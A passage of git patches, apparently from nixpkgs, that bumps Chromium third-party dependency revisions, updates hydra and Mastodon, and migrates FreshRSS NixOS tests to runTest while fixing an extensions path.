-        "hash": "sha256-k0vE2K9KfeYsTVZchvKEA8M7GJQcekbuO5wHJeycBZo="
+        "rev": "cbc694239b06ecf694676aba22d5263dbc23ee5e",
+        "hash": "sha256-5vIwNP9RbtUVtgKKDiZd6NVkR2Ed3DUqZWESTUM+fIs="
       },
       "src/third_party/smhasher/src": {
         "url": "https://chromium.googlesource.com/external/smhasher.git",
@@ -1447,13 +1447,13 @@
       },
       "src/third_party/sqlite/src": {
         "url": "https://chromium.googlesource.com/chromium/deps/sqlite.git",
-        "rev": "0a1397d274701c5d39e661e948160da2b9a8db1e",
-        "hash": "sha256-jqelU2bFZ4XwI5dpkusvgUobmRyYo/41ZKqbEmOdpis="
+        "rev": "cc08c79629643fdd5b592f1391e738815f5577b6",
+        "hash": "sha256-1Q2+NyCJb0GIMC30YNbVqVYHnP62tmKqBRfr9Xw5Z4A="
       },
       "src/third_party/swiftshader": {
         "url": "https://swiftshader.googlesource.com/SwiftShader.git",
-        "rev": "a8133cbb3c8969e3c1e6b3cea2c02ec8312ef9ca",
-        "hash": "sha256-Fd6T9zFJVPJaF2sbBy+uK0Ia0C6AIZsDbNvPSkbuTJM="
+        "rev": "ed01d9931de34d3a6fb4d615050db5080d9cea16",
+        "hash": "sha256-is6sl3vRLyBjiHg97rI7WvxIiKg6eelqNfrZGTWPBtM="
       },
       "src/third_party/text-fragments-polyfill/src": {
         "url": "https://chromium.googlesource.com/external/github.com/GoogleChromeLabs/text-fragments-polyfill.git",
@@ -1462,18 +1462,18 @@
       },
       "src/third_party/tflite/src": {
         "url": "https://chromium.googlesource.com/external/github.com/tensorflow/tensorflow.git",
-        "rev": "151774faba661a5985a8264653f4457c70a56dea",
-        "hash": "sha256-qpwF2+/dw1u24O5+4bW74R43AgGN//NZwzEmlkyHlr0="
+        "rev": "e6c5574b82d7950f978447704a70971c478f0f50",
+        "hash": "sha256-zdd0y0OILYoRhZ3O64g9MFdWLnAVJiM+CJUIN2RfmKo="
       },
       "src/third_party/vulkan-deps": {
         "url": "https://chromium.googlesource.com/vulkan-deps",
-        "rev": "5912cbdd295c2bacb5798432a7b1cac9d20c0725",
-        "hash": "sha256-kIj8sncNg6dJzg1fgORev/o164G3kMXCGHzlzb09n0U="
+        "rev": "f227ce323fb5a2fee1a98b6feea54b0e42b2f30d",
+        "hash": "sha256-8GHLg9S6f/k2XPgqeeZ6UCBQBoHuABdPYhpGecyqo+E="
       },
       "src/third_party/glslang/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/glslang",
-        "rev": "93231001597dad1149a5d035af30eda50b9e6b6c",
-        "hash": "sha256-0PocroQj02mdpmFVXr6XB7mVVNzQOaBXm/2GNacZLF0="
+        "rev": "d176fb41992d5c091fb1c401e4e70306382e67fc",
+        "hash": "sha256-27C9ZokeehkoFdIpiYkQ6PBgcNUq0kVLl4tvcgFrYLg="
       },
       "src/third_party/spirv-cross/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Cross",
@@ -1482,38 +1482,38 @@
       },
       "src/third_party/spirv-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Headers",
-        "rev": "c9aad99f9276817f18f72a4696239237c83cb775",
-        "hash": "sha256-/KfUxWDczLQ/0DOiFC4Z66o+gtoF/7vgvAvKyv9Z9OA="
+        "rev": "2a611a970fdbc41ac2e3e328802aed9985352dca",
+        "hash": "sha256-LRjMy9xtOErbJbMh+g2IKXfmo/hWpegZM72F8E122oY="
       },
       "src/third_party/spirv-tools/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Tools",
-        "rev": "01021466b5e71deaac9054f56082566c782bfd51",
-        "hash": "sha256-04CWBDu4Q+H7EtVTealNyGx0Hml7OjIf0FfK0IuzisY="
+        "rev": "33e02568181e3312f49a3cf33df470bf96ef293a",
+        "hash": "sha256-yAdd/mXY8EJnE0vCu0n/aVxMH9059T/7cAdB9nP1vQQ="
       },
       "src/third_party/vulkan-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Headers",
-        "rev": "75ad707a587e1469fb53a901b9b68fe9f6fbc11f",
-        "hash": "sha256-vB49bFCx9VVEtpwIFcxdqYT+Pk4DgjoPz4rzPfmuRps="
+        "rev": "10739e8e00a7b6f74d22dd0a547f1406ff1f5eb9",
+        "hash": "sha256-OorBl9vIN4DqVgT8ae+05yCLon7m0ixQczEzDlpwFRI="
       },
       "src/third_party/vulkan-loader/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Loader",
-        "rev": "c913466fdc5004584890f89ff91121bdb2ffd4ba",
-        "hash": "sha256-D5S1xQbsJ4Ov+3u84Mxj3L/3elyW78jpKRbYo8FpD28="
+        "rev": "342da33fdec78d269657194c9082835d647d2e68",
+        "hash": "sha256-G+sTBXuBodkXi7njI0foXTqaxchsWD9XtF9UBsknE30="
       },
       "src/third_party/vulkan-tools/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Tools",
-        "rev": "60b640cb931814fcc6dabe4fc61f4738c56579f6",
-        "hash": "sha256-snLYtiXK1eBZYsc7X18/wk4TnhmkSqquWxyjmw9IF2A="
+        "rev": "e3fc64396755191b3c51e5c57d0454872e7fa487",
+        "hash": "sha256-EqLG8kMQx6nHX9iZMrsu0fn1z4nY6TEQ/feTINNbUzQ="
       },
       "src/third_party/vulkan-utility-libraries/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Utility-Libraries",
-        "rev": "49ac28931f28bffaa3cd73dc4ad997284d574962",
-        "hash": "sha256-2mi5gtacSDxtZB8a3oGZqgLhwntSLXlEzDq6W14RHp4="
+        "rev": "72665ee1e50db3d949080df8d727dffa8067f5f8",
+        "hash": "sha256-FSk/LeYCt/XeF8XJZtr+DoNbvMmfFIKUaYvmeq5xK+w="
       },
       "src/third_party/vulkan-validation-layers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-ValidationLayers",
-        "rev": "f7ceb1d01a292846db77ec87786be84d6fd568d9",
-        "hash": "sha256-K0KZ8wXTCVRBBN9AWy63ukmE6QkQHKcRgo+YluOhjyc="
+        "rev": "e086a717059f54c94d090998628250ae8f238fd6",
+        "hash": "sha256-KF06qgduM4rAVs4MHvdS+QZs+3srB+p1NadQYTzc0OM="
       },
       "src/third_party/vulkan_memory_allocator": {
         "url": "https://chromium.googlesource.com/external/github.com/GPUOpen-LibrariesAndSDKs/VulkanMemoryAllocator.git",
@@ -1547,8 +1547,8 @@
       },
       "src/third_party/webdriver/pylib": {
         "url": "https://chromium.googlesource.com/external/github.com/SeleniumHQ/selenium/py.git",
-        "rev": "fc5e7e70c098bfb189a9a74746809ad3c5c34e04",
-        "hash": "sha256-WIqWXIKVgElgg8P8laLAlUrgwodGdeVcwohZxnPKedw="
+        "rev": "1e954903022e9386b9acf452c24f4458dd4c4fc1",
+        "hash": "sha256-k5qx4xyO83jPtHaMh6aMigMJ3hsytFdFQOcZLmwPEYo="
       },
       "src/third_party/webgl/src": {
         "url": "https://chromium.googlesource.com/external/khronosgroup/webgl.git",
@@ -1557,18 +1557,18 @@
       },
       "src/third_party/webgpu-cts/src": {
         "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts.git",
-        "rev": "905c7cbfeaac1cf3feb4c6056dd6f3dbaa06b074",
-        "hash": "sha256-eMDb0nG9HDiesd8KPajbMej8JTll4JkIf17KMnKvW1s="
+        "rev": "2a8d4a83f751286302ce34573409ad75cc318508",
+        "hash": "sha256-VUSsDgNHMiSCLDDicscMwskFu/qOzuz04mqYoFtnJF8="
       },
       "src/third_party/webpagereplay": {
         "url": "https://chromium.googlesource.com/webpagereplay.git",
-        "rev": "18172a359f6dab8e3f70b6c5c8c7c55d3e97537a",
-        "hash": "sha256-qJnO3fFJhaQA77v1lTJ4B7cbXivquTcSvx/m+OcI3No="
+        "rev": "f3397454e39a7c0b35af192e6d8a1896af7bd9ec",
+        "hash": "sha256-saa07zzzbehOm4gIMoGVB0AZ2nLqmjnT5IfYBSsnZIw="
       },
       "src/third_party/webrtc": {
         "url": "https://webrtc.googlesource.com/src.git",
-        "rev": "e4445e46a910eb407571ec0b0b8b7043562678cf",
-        "hash": "sha256-72NbtdYbyMxSGULvOGsZqLj4kvT79pu+TKcnEmcj/Pc="
+        "rev": "23d8e44f84822170bee4425760b44237959423e5",
+        "hash": "sha256-8IETxHh2Lcgc2N0pV0kTEsbOAchsgwj6VZVDAcVssxw="
       },
       "src/third_party/wuffs/src": {
         "url": "https://skia.googlesource.com/external/github.com/google/wuffs-mirror-release-c.git",
@@ -1577,8 +1577,8 @@
       },
       "src/third_party/weston/src": {
         "url": "https://chromium.googlesource.com/external/anongit.freedesktop.org/git/wayland/weston.git",
-        "rev": "4eb10b123b483327214d8da5da67e8bbeeaed8fe",
-        "hash": "sha256-VNHUAtfTB24SIf2kl+MMXF3rG5cJOPM93WU/sVSIQ1A="
+        "rev": "bdba2f9adaca673fd58339d8140bc04727ee279d",
+        "hash": "sha256-o49a3sp+D9FycxeB+uMcKouVvlKWoWpfws7FLEGJ/V8="
       },
       "src/third_party/xdg-utils": {
         "url": "https://chromium.googlesource.com/chromium/deps/xdg-utils.git",
@@ -1587,8 +1587,8 @@
       },
       "src/third_party/xnnpack/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/XNNPACK.git",
-        "rev": "f82ad65ca52cb4d39b73088468a5fe00f56fb47c",
-        "hash": "sha256-aavq+i8EpQmIMPaym6JxwBFjbpqKtHshXUkdBIXDtpw="
+        "rev": "3c99186b3276aa891f94ebba35f6b16e627d57de",
+        "hash": "sha256-CXX0F2H0WjgOxV2iD8bizj1JZOknry7qTmtsv9yAJFU="
       },
       "src/third_party/zstd/src": {
         "url": "https://chromium.googlesource.com/external/github.com/facebook/zstd.git",
@@ -1597,8 +1597,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "54f355e9ad22c93162d7d9d94c849c729d64bee7",
-        "hash": "sha256-/2cw/iZ9zbCMMiANUfsWpxYUzA3FDfUIrjoJh/jc0XI="
+        "rev": "b07b4e9376489c7f7c0ff2af5eceb4261b3bb784",
+        "hash": "sha256-MnrieVgkvlkWKZ0O790gDSCrgF9c+XEk/XLHQDzMqVY="
       }
     }
   }
diff --git a/pkgs/applications/networking/browsers/chromium/ungoogled-flags.toml b/pkgs/applications/networking/browsers/chromium/ungoogled-flags.toml
index 8629b90be370..59f19c889b12 100644
--- a/pkgs/applications/networking/browsers/chromium/ungoogled-flags.toml
+++ b/pkgs/applications/networking/browsers/chromium/ungoogled-flags.toml
@@ -4,7 +4,6 @@ clang_use_chrome_plugins=false
 disable_fieldtrial_testing_config=true
 enable_hangout_services_extension=false
 enable_mdns=false
-enable_nacl=false
 enable_remoting=false
 enable_reporting=false
 enable_service_discovery=false

From 9a428fa758a31423007c3ea2edf2d7252741d980 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sandro=20J=C3=A4ckel?= <sandro.jaeckel@gmail.com>
Date: Tue, 5 Aug 2025 22:21:17 +0200
Subject: [PATCH 3278/4511] hydra: 0-unstable-2025-07-17 ->
 0-unstable-2025-08-05

(cherry picked from commit 20f9c6e28d164583f65b5a310a02624143578263)
---
 pkgs/by-name/hy/hydra/package.nix | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/hy/hydra/package.nix b/pkgs/by-name/hy/hydra/package.nix
index 5ec48a6624b0..38247f95661a 100644
--- a/pkgs/by-name/hy/hydra/package.nix
+++ b/pkgs/by-name/hy/hydra/package.nix
@@ -102,6 +102,7 @@ let
         NetAmazonS3
         NetPrometheus
         NetStatsd
+        NumberBytesHuman
         PadWalker
         ParallelForkManager
         PerlCriticCommunity
@@ -130,14 +131,14 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "hydra";
-  version = "0-unstable-2025-07-17";
+  version = "0-unstable-2025-08-05";
   # nixpkgs-update: no auto update
 
   src = fetchFromGitHub {
     owner = "NixOS";
     repo = "hydra";
-    rev = "b812bb5017cac055fa56ffeac5440b6365830d67";
-    hash = "sha256-XmoecWRUvUX8jf0U0cGyP4AfLHb0D2D4Ec69jqwrWVI=";
+    rev = "79ba8fdd04ba53826aa9aaba6e25fd0d6952b3b3";
+    hash = "sha256-h8UNR3LVrD313iX1OazDwIcMLksh0p6oJv9msEfjS0E=";
   };
 
   outputs = [

From 550d8044cab5439ff9b73fd0474dbe8ed8a94d0d Mon Sep 17 00:00:00 2001
From: Kerstin Humm <kerstin@erictapen.name>
Date: Thu, 7 Aug 2025 01:44:09 +0200
Subject: [PATCH 3279/4511] mastodon: 4.3.10 -> 4.3.11

Changelog: https://github.com/mastodon/mastodon/releases/tag/v4.3.11
---
 pkgs/servers/mastodon/gemset.nix | 4 ++--
 pkgs/servers/mastodon/source.nix | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/servers/mastodon/gemset.nix b/pkgs/servers/mastodon/gemset.nix
index ccb983280702..37238f139612 100644
--- a/pkgs/servers/mastodon/gemset.nix
+++ b/pkgs/servers/mastodon/gemset.nix
@@ -3970,10 +3970,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0vgsvdaglz1spx9gxrr6xh7qqhi4qd8jd06h2ihwxmazj9ajld6y";
+      sha256 = "01wi1csw4kjmlxmd1igx5hj2wrwkslay1xamg4cv8l7imr27l3hv";
       type = "gem";
     };
-    version = "1.18.0";
+    version = "1.18.1";
   };
   ruby-vips = {
     dependencies = [
diff --git a/pkgs/servers/mastodon/source.nix b/pkgs/servers/mastodon/source.nix
index 5de05347664e..122ad9ffa42f 100644
--- a/pkgs/servers/mastodon/source.nix
+++ b/pkgs/servers/mastodon/source.nix
@@ -5,14 +5,14 @@
   patches ? [ ],
 }:
 let
-  version = "4.3.10";
+  version = "4.3.11";
 in
 applyPatches {
   src = fetchFromGitHub {
     owner = "mastodon";
     repo = "mastodon";
     rev = "v${version}";
-    hash = "sha256-s7p5J9tzw0uHsWcHHkvfkyesZvNRzgC8fcVU3oylteo=";
+    hash = "sha256-21f1k6YvpB9YG/4nhobDsYG+vbWbv49+H4nI7eRKzc8=";
 
     passthru = {
       inherit version;

From 1c6aede85dec16d1e4a66dc3c9ffbf354f75e11b Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sat, 7 Jun 2025 21:50:04 +0800
Subject: [PATCH 3280/4511] nixosTests.freshrss: handleTest -> runTest

(cherry picked from commit da6ecbe5390cbf0e3267e6d5e0151609535de5ba)
---
 nixos/tests/all-tests.nix             |  2 +-
 nixos/tests/freshrss/caddy-sqlite.nix | 52 +++++++-------
 nixos/tests/freshrss/default.nix      | 14 ++--
 nixos/tests/freshrss/extensions.nix   | 39 +++++------
 nixos/tests/freshrss/http-auth.nix    | 42 ++++++------
 nixos/tests/freshrss/nginx-sqlite.nix | 48 +++++++------
 nixos/tests/freshrss/none-auth.nix    | 40 +++++------
 nixos/tests/freshrss/pgsql.nix        | 98 +++++++++++++--------------
 8 files changed, 159 insertions(+), 176 deletions(-)

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index 905a9afc85ba..0972d4da9b5f 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -524,7 +524,7 @@ in
   freenet = runTest ./freenet.nix;
   freeswitch = handleTest ./freeswitch.nix { };
   freetube = discoverTests (import ./freetube.nix);
-  freshrss = handleTest ./freshrss { };
+  freshrss = import ./freshrss { inherit runTest; };
   frigate = runTest ./frigate.nix;
   froide-govplan = runTest ./web-apps/froide-govplan.nix;
   frp = handleTest ./frp.nix { };
diff --git a/nixos/tests/freshrss/caddy-sqlite.nix b/nixos/tests/freshrss/caddy-sqlite.nix
index 69b62ab3b899..3c2e60e5e3bb 100644
--- a/nixos/tests/freshrss/caddy-sqlite.nix
+++ b/nixos/tests/freshrss/caddy-sqlite.nix
@@ -1,30 +1,28 @@
-import ../make-test-python.nix (
-  { lib, pkgs, ... }:
-  {
-    name = "freshrss-caddy-sqlite";
-    meta.maintainers = with lib.maintainers; [
-      etu
-      stunkymonkey
-    ];
+{ lib, ... }:
+{
+  name = "freshrss-caddy-sqlite";
+  meta.maintainers = with lib.maintainers; [
+    etu
+    stunkymonkey
+  ];
 
-    nodes.machine =
-      { pkgs, ... }:
-      {
-        services.freshrss = {
-          enable = true;
-          baseUrl = "http://localhost";
-          passwordFile = pkgs.writeText "password" "secret";
-          dataDir = "/srv/freshrss";
-          webserver = "caddy";
-          virtualHost = "freshrss:80";
-        };
+  nodes.machine =
+    { pkgs, ... }:
+    {
+      services.freshrss = {
+        enable = true;
+        baseUrl = "http://localhost";
+        passwordFile = pkgs.writeText "password" "secret";
+        dataDir = "/srv/freshrss";
+        webserver = "caddy";
+        virtualHost = "freshrss:80";
       };
+    };
 
-    testScript = ''
-      machine.wait_for_unit("multi-user.target")
-      machine.wait_for_open_port(80)
-      response = machine.succeed("curl -vvv -s -H 'Host: freshrss' http://localhost:80/i/")
-      assert '<title>Login · FreshRSS</title>' in response, "Login page didn't load successfully"
-    '';
-  }
-)
+  testScript = ''
+    machine.wait_for_unit("multi-user.target")
+    machine.wait_for_open_port(80)
+    response = machine.succeed("curl -vvv -s -H 'Host: freshrss' http://localhost:80/i/")
+    assert '<title>Login · FreshRSS</title>' in response, "Login page didn't load successfully"
+  '';
+}
diff --git a/nixos/tests/freshrss/default.nix b/nixos/tests/freshrss/default.nix
index 9253ee7f7e4a..b5af365749df 100644
--- a/nixos/tests/freshrss/default.nix
+++ b/nixos/tests/freshrss/default.nix
@@ -1,10 +1,10 @@
-{ system, pkgs, ... }:
+{ runTest }:
 
 {
-  extensions = import ./extensions.nix { inherit system pkgs; };
-  http-auth = import ./http-auth.nix { inherit system pkgs; };
-  none-auth = import ./none-auth.nix { inherit system pkgs; };
-  pgsql = import ./pgsql.nix { inherit system pkgs; };
-  nginx-sqlite = import ./nginx-sqlite.nix { inherit system pkgs; };
-  caddy-sqlite = import ./caddy-sqlite.nix { inherit system pkgs; };
+  extensions = runTest ./extensions.nix;
+  http-auth = runTest ./http-auth.nix;
+  none-auth = runTest ./none-auth.nix;
+  pgsql = runTest ./pgsql.nix;
+  nginx-sqlite = runTest ./nginx-sqlite.nix;
+  caddy-sqlite = runTest ./caddy-sqlite.nix;
 }
diff --git a/nixos/tests/freshrss/extensions.nix b/nixos/tests/freshrss/extensions.nix
index d2758fd387b4..8b0d306e6b01 100644
--- a/nixos/tests/freshrss/extensions.nix
+++ b/nixos/tests/freshrss/extensions.nix
@@ -1,24 +1,21 @@
-import ../make-test-python.nix (
-  { lib, pkgs, ... }:
-  {
-    name = "freshrss-extensions";
+{
+  name = "freshrss-extensions";
 
-    nodes.machine =
-      { pkgs, ... }:
-      {
-        services.freshrss = {
-          enable = true;
-          baseUrl = "http://localhost";
-          authType = "none";
-          extensions = [ pkgs.freshrss-extensions.youtube ];
-        };
+  nodes.machine =
+    { pkgs, ... }:
+    {
+      services.freshrss = {
+        enable = true;
+        baseUrl = "http://localhost";
+        authType = "none";
+        extensions = [ pkgs.freshrss-extensions.youtube ];
       };
+    };
 
-    testScript = ''
-      machine.wait_for_unit("multi-user.target")
-      machine.wait_for_open_port(80)
-      response = machine.succeed("curl -vvv -s http://localhost:80/i/?c=extension")
-      assert '<span class="ext_name disabled">YouTube Video Feed</span>' in response, "Extension not present in extensions page."
-    '';
-  }
-)
+  testScript = ''
+    machine.wait_for_unit("multi-user.target")
+    machine.wait_for_open_port(80)
+    response = machine.succeed("curl -vvv -s http://localhost:80/i/?c=extension")
+    assert '<span class="ext_name disabled">YouTube Video Feed</span>' in response, "Extension not present in extensions page."
+  '';
+}
diff --git a/nixos/tests/freshrss/http-auth.nix b/nixos/tests/freshrss/http-auth.nix
index f0fb28ee188f..1f6fd1ad8e7d 100644
--- a/nixos/tests/freshrss/http-auth.nix
+++ b/nixos/tests/freshrss/http-auth.nix
@@ -1,25 +1,21 @@
-import ../make-test-python.nix (
-  { lib, pkgs, ... }:
-  {
-    name = "freshrss-http-auth";
-    meta.maintainers = with lib.maintainers; [ mattchrist ];
+{ lib, ... }:
+{
+  name = "freshrss-http-auth";
+  meta.maintainers = with lib.maintainers; [ mattchrist ];
 
-    nodes.machine =
-      { pkgs, ... }:
-      {
-        services.freshrss = {
-          enable = true;
-          baseUrl = "http://localhost";
-          dataDir = "/srv/freshrss";
-          authType = "http_auth";
-        };
-      };
+  nodes.machine = {
+    services.freshrss = {
+      enable = true;
+      baseUrl = "http://localhost";
+      dataDir = "/srv/freshrss";
+      authType = "http_auth";
+    };
+  };
 
-    testScript = ''
-      machine.wait_for_unit("multi-user.target")
-      machine.wait_for_open_port(80)
-      response = machine.succeed("curl -vvv -s -H 'Host: freshrss' -H 'Remote-User: testuser' http://localhost:80/i/")
-      assert 'Account: testuser' in response, "http_auth method didn't work."
-    '';
-  }
-)
+  testScript = ''
+    machine.wait_for_unit("multi-user.target")
+    machine.wait_for_open_port(80)
+    response = machine.succeed("curl -vvv -s -H 'Host: freshrss' -H 'Remote-User: testuser' http://localhost:80/i/")
+    assert 'Account: testuser' in response, "http_auth method didn't work."
+  '';
+}
diff --git a/nixos/tests/freshrss/nginx-sqlite.nix b/nixos/tests/freshrss/nginx-sqlite.nix
index 2425dc086549..c8097465d8cd 100644
--- a/nixos/tests/freshrss/nginx-sqlite.nix
+++ b/nixos/tests/freshrss/nginx-sqlite.nix
@@ -1,28 +1,26 @@
-import ../make-test-python.nix (
-  { lib, pkgs, ... }:
-  {
-    name = "freshrss-nginx-sqlite";
-    meta.maintainers = with lib.maintainers; [
-      etu
-      stunkymonkey
-    ];
+{ lib, ... }:
+{
+  name = "freshrss-nginx-sqlite";
+  meta.maintainers = with lib.maintainers; [
+    etu
+    stunkymonkey
+  ];
 
-    nodes.machine =
-      { pkgs, ... }:
-      {
-        services.freshrss = {
-          enable = true;
-          baseUrl = "http://localhost";
-          passwordFile = pkgs.writeText "password" "secret";
-          dataDir = "/srv/freshrss";
-        };
+  nodes.machine =
+    { pkgs, ... }:
+    {
+      services.freshrss = {
+        enable = true;
+        baseUrl = "http://localhost";
+        passwordFile = pkgs.writeText "password" "secret";
+        dataDir = "/srv/freshrss";
       };
+    };
 
-    testScript = ''
-      machine.wait_for_unit("multi-user.target")
-      machine.wait_for_open_port(80)
-      response = machine.succeed("curl -vvv -s -H 'Host: freshrss' http://localhost:80/i/")
-      assert '<title>Login · FreshRSS</title>' in response, "Login page didn't load successfully"
-    '';
-  }
-)
+  testScript = ''
+    machine.wait_for_unit("multi-user.target")
+    machine.wait_for_open_port(80)
+    response = machine.succeed("curl -vvv -s -H 'Host: freshrss' http://localhost:80/i/")
+    assert '<title>Login · FreshRSS</title>' in response, "Login page didn't load successfully"
+  '';
+}
diff --git a/nixos/tests/freshrss/none-auth.nix b/nixos/tests/freshrss/none-auth.nix
index 97c950b4b514..77d636f88071 100644
--- a/nixos/tests/freshrss/none-auth.nix
+++ b/nixos/tests/freshrss/none-auth.nix
@@ -1,24 +1,20 @@
-import ../make-test-python.nix (
-  { lib, pkgs, ... }:
-  {
-    name = "freshrss-none-auth";
-    meta.maintainers = with lib.maintainers; [ mattchrist ];
+{ lib, ... }:
+{
+  name = "freshrss-none-auth";
+  meta.maintainers = with lib.maintainers; [ mattchrist ];
 
-    nodes.machine =
-      { pkgs, ... }:
-      {
-        services.freshrss = {
-          enable = true;
-          baseUrl = "http://localhost";
-          authType = "none";
-        };
-      };
+  nodes.machine = {
+    services.freshrss = {
+      enable = true;
+      baseUrl = "http://localhost";
+      authType = "none";
+    };
+  };
 
-    testScript = ''
-      machine.wait_for_unit("multi-user.target")
-      machine.wait_for_open_port(80)
-      response = machine.succeed("curl -vvv -s http://localhost:80/i/")
-      assert '<title> · FreshRSS</title>' in response, "FreshRSS stream page didn't load successfully"
-    '';
-  }
-)
+  testScript = ''
+    machine.wait_for_unit("multi-user.target")
+    machine.wait_for_open_port(80)
+    response = machine.succeed("curl -vvv -s http://localhost:80/i/")
+    assert '<title> · FreshRSS</title>' in response, "FreshRSS stream page didn't load successfully"
+  '';
+}
diff --git a/nixos/tests/freshrss/pgsql.nix b/nixos/tests/freshrss/pgsql.nix
index a3f3f938db98..50bd3fa7c837 100644
--- a/nixos/tests/freshrss/pgsql.nix
+++ b/nixos/tests/freshrss/pgsql.nix
@@ -1,54 +1,52 @@
-import ../make-test-python.nix (
-  { lib, pkgs, ... }:
-  {
-    name = "freshrss-pgsql";
-    meta.maintainers = with lib.maintainers; [
-      etu
-      stunkymonkey
-    ];
+{ lib, ... }:
+{
+  name = "freshrss-pgsql";
+  meta.maintainers = with lib.maintainers; [
+    etu
+    stunkymonkey
+  ];
 
-    nodes.machine =
-      { pkgs, ... }:
-      {
-        services.freshrss = {
-          enable = true;
-          baseUrl = "http://localhost";
-          passwordFile = pkgs.writeText "password" "secret";
-          dataDir = "/srv/freshrss";
-          database = {
-            type = "pgsql";
-            port = 5432;
-            user = "freshrss";
-            passFile = pkgs.writeText "db-password" "db-secret";
-          };
-        };
-
-        services.postgresql = {
-          enable = true;
-          ensureDatabases = [ "freshrss" ];
-          ensureUsers = [
-            {
-              name = "freshrss";
-              ensureDBOwnership = true;
-            }
-          ];
-          initialScript = pkgs.writeText "postgresql-password" ''
-            CREATE ROLE freshrss WITH LOGIN PASSWORD 'db-secret' CREATEDB;
-          '';
-        };
-
-        systemd.services."freshrss-config" = {
-          requires = [ "postgresql.service" ];
-          after = [ "postgresql.service" ];
+  nodes.machine =
+    { pkgs, ... }:
+    {
+      services.freshrss = {
+        enable = true;
+        baseUrl = "http://localhost";
+        passwordFile = pkgs.writeText "password" "secret";
+        dataDir = "/srv/freshrss";
+        database = {
+          type = "pgsql";
+          port = 5432;
+          user = "freshrss";
+          passFile = pkgs.writeText "db-password" "db-secret";
         };
       };
 
-    testScript = ''
-      machine.wait_for_unit("multi-user.target")
-      machine.wait_for_open_port(5432)
-      machine.wait_for_open_port(80)
-      response = machine.succeed("curl -vvv -s -H 'Host: freshrss' http://localhost:80/i/")
-      assert '<title>Login · FreshRSS</title>' in response, "Login page didn't load successfully"
-    '';
-  }
-)
+      services.postgresql = {
+        enable = true;
+        ensureDatabases = [ "freshrss" ];
+        ensureUsers = [
+          {
+            name = "freshrss";
+            ensureDBOwnership = true;
+          }
+        ];
+        initialScript = pkgs.writeText "postgresql-password" ''
+          CREATE ROLE freshrss WITH LOGIN PASSWORD 'db-secret' CREATEDB;
+        '';
+      };
+
+      systemd.services."freshrss-config" = {
+        requires = [ "postgresql.service" ];
+        after = [ "postgresql.service" ];
+      };
+    };
+
+  testScript = ''
+    machine.wait_for_unit("multi-user.target")
+    machine.wait_for_open_port(5432)
+    machine.wait_for_open_port(80)
+    response = machine.succeed("curl -vvv -s -H 'Host: freshrss' http://localhost:80/i/")
+    assert '<title>Login · FreshRSS</title>' in response, "Login page didn't load successfully"
+  '';
+}

From 4714abbe1673e005438b67a076577d45077d7b67 Mon Sep 17 00:00:00 2001
From: Matt Christ <matt@christ.systems>
Date: Sun, 3 Aug 2025 08:29:22 -0500
Subject: [PATCH 3281/4511] nixos/freshrss: fix loading extensions' static
 content

Before this change, the THIRDPARTY_EXTENSIONS_PATH would end up with a
double-slash in the path, which was breaking FreshRSS's is_valid_path
detection.

(cherry picked from commit 637fc3652907625f645a297dcbcb004d7e8f551b)
---
 nixos/modules/services/web-apps/freshrss.nix |  2 +-
 nixos/tests/freshrss/extensions.nix          | 20 ++++++++++++++++++--
 2 files changed, 19 insertions(+), 3 deletions(-)

diff --git a/nixos/modules/services/web-apps/freshrss.nix b/nixos/modules/services/web-apps/freshrss.nix
index 1cacfdcbac95..786961827312 100644
--- a/nixos/modules/services/web-apps/freshrss.nix
+++ b/nixos/modules/services/web-apps/freshrss.nix
@@ -18,7 +18,7 @@ let
     DATA_PATH = cfg.dataDir;
   }
   // lib.optionalAttrs (cfg.extensions != [ ]) {
-    THIRDPARTY_EXTENSIONS_PATH = "${extension-env}/share/freshrss/";
+    THIRDPARTY_EXTENSIONS_PATH = "${extension-env}/share/freshrss";
   };
 in
 {
diff --git a/nixos/tests/freshrss/extensions.nix b/nixos/tests/freshrss/extensions.nix
index 8b0d306e6b01..d956d4fe32fb 100644
--- a/nixos/tests/freshrss/extensions.nix
+++ b/nixos/tests/freshrss/extensions.nix
@@ -8,14 +8,30 @@
         enable = true;
         baseUrl = "http://localhost";
         authType = "none";
-        extensions = [ pkgs.freshrss-extensions.youtube ];
+        extensions = [
+          pkgs.freshrss-extensions.youtube
+          pkgs.freshrss-extensions.title-wrap
+        ];
       };
     };
+  extraPythonPackages = p: [
+    p.lxml
+    p.lxml-stubs
+  ];
+  skipTypeCheck = true;
 
   testScript = ''
     machine.wait_for_unit("multi-user.target")
     machine.wait_for_open_port(80)
-    response = machine.succeed("curl -vvv -s http://localhost:80/i/?c=extension")
+    response = machine.succeed("curl -s http://localhost:80/i/?c=extension")
     assert '<span class="ext_name disabled">YouTube Video Feed</span>' in response, "Extension not present in extensions page."
+
+    # enable Title-Wrap extension
+    from lxml import etree
+    tree = etree.HTML(response)
+    csrf = tree.xpath("/html/body/header/nav/form/input/@value")[0]
+    response = machine.succeed(f"curl --fail-with-body -s 'http://localhost:80/i/?c=extension&a=enable&e=Title-Wrap' -d '_csrf={csrf}'")
+    # verify that the Title-Wrap css is accessible.
